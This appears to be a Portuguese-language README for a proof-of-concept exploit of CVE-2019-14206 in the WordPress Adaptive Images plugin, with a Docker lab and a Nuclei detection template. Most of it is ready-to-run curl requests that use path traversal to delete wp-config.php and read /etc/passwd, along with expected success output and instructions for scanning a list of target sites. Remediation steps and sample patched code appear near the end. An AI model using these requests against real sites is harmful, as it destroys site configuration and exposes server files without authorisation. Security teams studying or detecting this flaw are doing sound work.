
Exploit de prova de conceito para CVE-2019-14206, demonstrando exclusão arbitrária de arquivos no plugin WordPress Adaptive Images. Inclui laboratório Docker, modelo Nuclei e scripts de teste manuais para educação e validação em segurança.
CVE-ID: CVE-2019-14206
Severity: High (CVSS 6.5)
Plugin Afetado: Adaptive Images for WordPress
Versões Afetadas: < 0.6.67
Esta vulnerabilidade permite que um atacante remoto e não autenticado delete arquivos arbitrários no servidor WordPress explorando o plugin Adaptive Images.
// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];
// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// DELETA arquivo arbitrário
unlink($cache_file);
# Verificar Nuclei
nuclei --version
# Verificar Bash
bash --version
# Verificar curl
curl --version
# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"
# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Execute a demonstração completa que simula toda a exploração:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
O que acontece:
Saída esperada:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Se Docker estiver rodando
docker-compose up -d
# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh
# O ambiente estará disponível em
# http://localhost:8888
# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Ver resultados
cat results.txt
# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Resultado esperado (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Verificar se wp-config.php existe ANTES
ls -la wp-config.php
# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php
Resultado esperado (File Deletion):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# Remover ambiente Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# Remover arquivos de teste
rm -rf docker-test/
rm -f targets.txt results.txt
# Restaurar wp-config.php se foi deletado
cat > wp-config.php << 'EOF'
<?php
// Arquivo restaurado
define('DB_NAME', 'wordpress');
EOF
# Remover resultados de scan
rm -f results.txt
# Limpar cache (opcional)
nuclei -rm-cache
# Instalar Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Ou baixar binário
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# Verificar se arquivo existe
ls -la http/cves/2019/CVE-2019-14206.yaml
# Verificar sintaxe YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# Usar caminho absoluto
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# Verificar porta
lsof -i :8888
# Usar porta diferente
php -S localhost:9999
# Verificar PHP instalado
which php
php --version
# Verificar status Docker
docker ps
# Iniciar Docker
# No macOS: Abrir Docker Desktop
# No Linux: sudo systemctl start docker
# Usar modo simulador (funciona sem Docker)
./docker-test-full.sh
Atualizar Plugin:
Painel WordPress > Plugins > Atualizar Adaptive Images
Versão Segura: >= 0.6.67
Remover Plugin Vulnerável:
rm -rf wp-content/plugins/adaptive-images/
// ✅ CÓDIGO SEGURO (Exemplo de correção)
function adaptive_images_script_get_settings() {
// Sanitizar input
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// Validar caminhos
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // Recusar caminhos inválidos
}
// Usar caminhos absolutos validados
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
Este material é fornecido exclusivamente para fins educacionais e de teste de segurança.
O autor e contributors NÃO se responsabilizam por qualquer:
Se você encontrar esta vulnerabilidade em sistemas reais:
Este projeto demonstra:
Contribuições são bem-vindas! Para contribuir:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)Para dúvidas ou problemas:
🎉 Obrigado por usar este material de teste!
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use este conhecimento para tornar a internet mais segura, não mais vulnerável.
Criado: 4 de Janeiro de 2026
Versão: 1.0.0
Status: ✅ Pronto para uso em produção